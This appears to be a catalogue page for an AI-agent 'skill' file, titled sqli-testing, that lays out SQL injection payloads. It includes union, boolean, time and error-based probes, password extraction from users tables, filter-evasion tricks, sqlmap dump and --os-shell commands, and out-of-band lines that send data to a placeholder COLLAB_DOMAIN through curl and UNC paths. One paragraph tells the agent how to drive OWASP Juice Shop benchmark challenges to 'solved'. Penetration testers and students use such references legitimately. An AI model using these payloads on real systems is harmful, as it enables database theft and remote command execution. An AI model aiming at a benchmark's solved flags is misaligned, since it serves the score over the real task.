Menu
Detect and exploit SQL injection vulnerabilities in web application parameters
Instalar com Codex ou Claude Copie este prompt, cole no Codex, Claude ou outro assistente e deixe que ele revise a página da skill e instale para você.
Baseado na classificação ocupacional SOC
| name | sqli-testing |
| description | Detect and exploit SQL injection vulnerabilities in web application parameters |
| origin | RedteamOpencode |
# String: ' '' ' OR '1'='1 ' OR '1'='2 " OR "1"="1
# Numeric: 1 OR 1=1 1 OR 1=2 1 AND 1=1 1 AND 1=2
# Comment: ' -- ' # ') OR ('1'='1
?id=1 AND 1=1 # True — normal content
?id=1 AND 1=2 # False — different content
?id=1' AND '1'='1 / ?id=1' AND '1'='2
' OR SLEEP(5)-- # MySQL
'; SELECT pg_sleep(5)-- # PostgreSQL
'; WAITFOR DELAY '0:0:5'-- # MSSQL
' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT version())))-- # MySQL
' AND 1=CAST((SELECT version()) AS int)-- # PostgreSQL
' AND 1=CONVERT(int,(SELECT @@version))-- # MSSQL
| DB | Error Pattern |
|---|---|
| MySQL | You have an error in your SQL syntax, MariaDB |
| PostgreSQL | unterminated quoted string, PSQLException |
| MSSQL | Unclosed quotation mark, Microsoft SQL |
| SQLite | SQLITE_ERROR, unrecognized token |
| Oracle | ORA-, quoted string not properly terminated |
Version: SELECT version() (MySQL/PG), SELECT @@version (MySQL/MSSQL), SELECT sqlite_version() (SQLite)
' ORDER BY 1-- ' ORDER BY 2-- ... # Find column count (increment until error)
' UNION SELECT NULL,NULL,NULL-- # Match column count
' UNION SELECT NULL,'a',NULL-- # Find displayable columns
' UNION SELECT NULL,version(),NULL--
' UNION SELECT NULL,table_name,NULL FROM information_schema.tables--
' UNION SELECT NULL,column_name,NULL FROM information_schema.columns WHERE table_name='users'--
' UNION SELECT NULL,CONCAT(username,':',password),NULL FROM users--
When OWASP Juice Shop is the local benchmark target, generic SQLi proof or admin roster access is not enough for the Database Schema and User Credentials recall branches. If databaseSchemaChallenge remains false, requeue one exact native injection workflow (login/search or the route that already showed SQLi signal) with a sqlite_master extraction payload, save the response artifact, and immediately fetch /api/Challenges or visit Score Board. If userCredentialsChallenge remains false after /api/Users or JWT metadata, requeue a credential-bearing dump (Users.password, Users.email,password, signed /rest/user/authentication-details/, or an equivalent backup/database artifact) and solved-check that branch separately. Do not close either branch as a generic SQL finding until the handoff records challenge=<Database Schema|User Credentials> status=solved|requeued evidence=<artifact> next=<exact action>.
' AND SUBSTRING(version(),1,1)='5'--
' AND ASCII(SUBSTRING((SELECT password FROM users LIMIT 1),1,1))>96--
' AND IF(SUBSTRING(version(),1,1)='8',SLEEP(3),0)-- # MySQL
' AND CASE WHEN (SUBSTRING(version(),1,1)='P') THEN pg_sleep(3) ELSE pg_sleep(0) END-- # PG
' UNION SELECT LOAD_FILE(CONCAT('\\\\',version(),'.COLLAB_DOMAIN\\a'))-- # MySQL
'; EXEC master..xp_dirtree '\\COLLAB_DOMAIN\a'-- # MSSQL
'; COPY (SELECT version()) TO PROGRAM 'curl http://COLLAB_DOMAIN/'-- # PG
run_tool sqlmap -u "http://target/page?id=1" --batch --dbs --level 3 --risk 2
run_tool sqlmap -u "http://target/login" --data="user=a&pass=b" --batch --dbs
# Default current-engagement auth should come from auth.json; only pass --cookie or headers explicitly for override tests.
run_tool sqlmap -u "http://target/page?id=1" --batch -D dbname --tables
run_tool sqlmap -u "http://target/page?id=1" --batch -D dbname -T users --dump
run_tool sqlmap -r $DIR/scans/request.txt --batch --dbs --level 3 --risk 2
run_tool sqlmap -u "http://target/page?id=1" --os-shell --batch
%27%20OR%20%271%27%3D%271 # URL encoding
' uNiOn SeLeCt NULL,version(),NULL-- # Case alternation
UN/**/ION SE/**/LECT NULL,version(),NULL-- # Comment insertion
/*!50000UNION*/ /*!50000SELECT*/ # MySQL inline comments
'%09OR%091=1-- # Whitespace alternatives
run_tool sqlmap -u "URL" --tamper=between,randomcase,space2comment --batch --dbs
Business logic vulnerability detection — workflow bypass, price manipulation, state abuse, and application-specific flaws
Detect PII, credentials, and corporate sensitive data in API responses, source code, files, headers, and database extracts
Test for authentication and authorization flaws including credential attacks, session issues, and access control bypasses
Detect and exploit cross-site scripting vulnerabilities in web applications
Discover hidden parameters, test values, and identify input handling anomalies
File upload vulnerability testing — webshells, bypass, path traversal